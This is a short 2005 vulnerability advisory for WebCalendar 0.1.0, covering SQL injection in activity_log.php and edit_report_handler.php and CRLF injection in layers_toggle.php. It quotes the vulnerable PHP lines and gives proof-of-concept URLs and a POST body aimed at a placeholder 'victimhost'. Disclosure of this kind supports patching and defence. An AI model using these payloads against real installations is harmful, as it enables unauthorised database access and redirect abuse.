WebCalendar Multiple Vulnerabilities. Author: lwang (lwang at lwang.org) Publish Date: 2005-12-1 Description: WebCalendar is a PHP application used to maintain a calendar for one or more persons and for a variety of purposes. In WebCalendar 0.1.0, activity_log.php and edit_report_handler.php are prone to SQL Injection attack, layers_toggle.php is vulnerable to CRLF Injection. Reference: http://vd.lwang.org/webcalendar_multiple_vulns.txt Vulnerability Analysis and Proof of Concept: 1. SQL Injection in activity_log.php, parameter $startid does not validation. if ( ! empty ( $startid ) ) $sql .= "AND webcal_entry_log.cal_log_id <= $startid "; PoC: http://victimhost/webcalendar/activity_log.php?startid=%2527 http://victimhost/webcalendar/activity_log.php?startid=%27 http://victimhost/webcalendar/activity_log.php?startid=' in edit_report_handler.php PoC: POST the following variable to http://victimhost/webcalendar/edit_report_handler.php report_name=Unnamed%20Report&is_global=Y&show_in_trailer=Y&include_header=Y&time_range='&cat_id=1&allow_nav=Y&include_empty=Y&page_template=%26lt%3Bdl%26gt%3B%24%7Bdays%7D%26lt%3B%2Fdl%26gt%3B&day_template=%26lt%3Bdt%26gt%3B%26lt%3Bb%26gt%3B%24%7Bdate%7D%26lt%3B%2Fb%26gt%3B%26lt%3B%2Fdt%26gt%3B%0A%26lt%3Bdd%26gt%3B%26lt%3Bdl%26gt%3B%24%7Bevents%7D%26lt%3B%2Fdl%26gt%3B%26lt%3B%2Fdd%26gt%3B&event_template=%26lt%3Bdt%26gt%3B%24%7Bname%7D%26lt%3B%2Fdt%26gt%3B%0A%26lt%3Bdd%26gt%3B%26lt%3Bb%26gt%3BDate%3A%26lt%3B%2Fb%26gt%3B%20%24%7Bdate%7D%26lt%3Bbr%20%2F%26gt%3B%0A%26lt%3Bb%26gt%3BTime%3A%26lt%3B%2Fb%26gt%3B%20%24%7Btime%7D%26lt%3Bbr%20%2F%26gt%3B%0A%24%7Bdescription%7D%26lt%3B%2Fdd%26gt%3B 2. CRLF Injection in layers_toggle.php, parameter $ret does not validation. if ( empty ( $error ) ) { // Go back to where we where if we can figure it out. if ( strlen ( $ret ) ) do_redirect ( $ret ); else if ( ! empty ( $HTTP_REFERER ) ) do_redirect ( $HTTP_REFERER ); else send_to_preferred_view (); PoC: http://victimhost/webcalendar/layers_toggle.php?status=on&ret=[url_redirect_to]
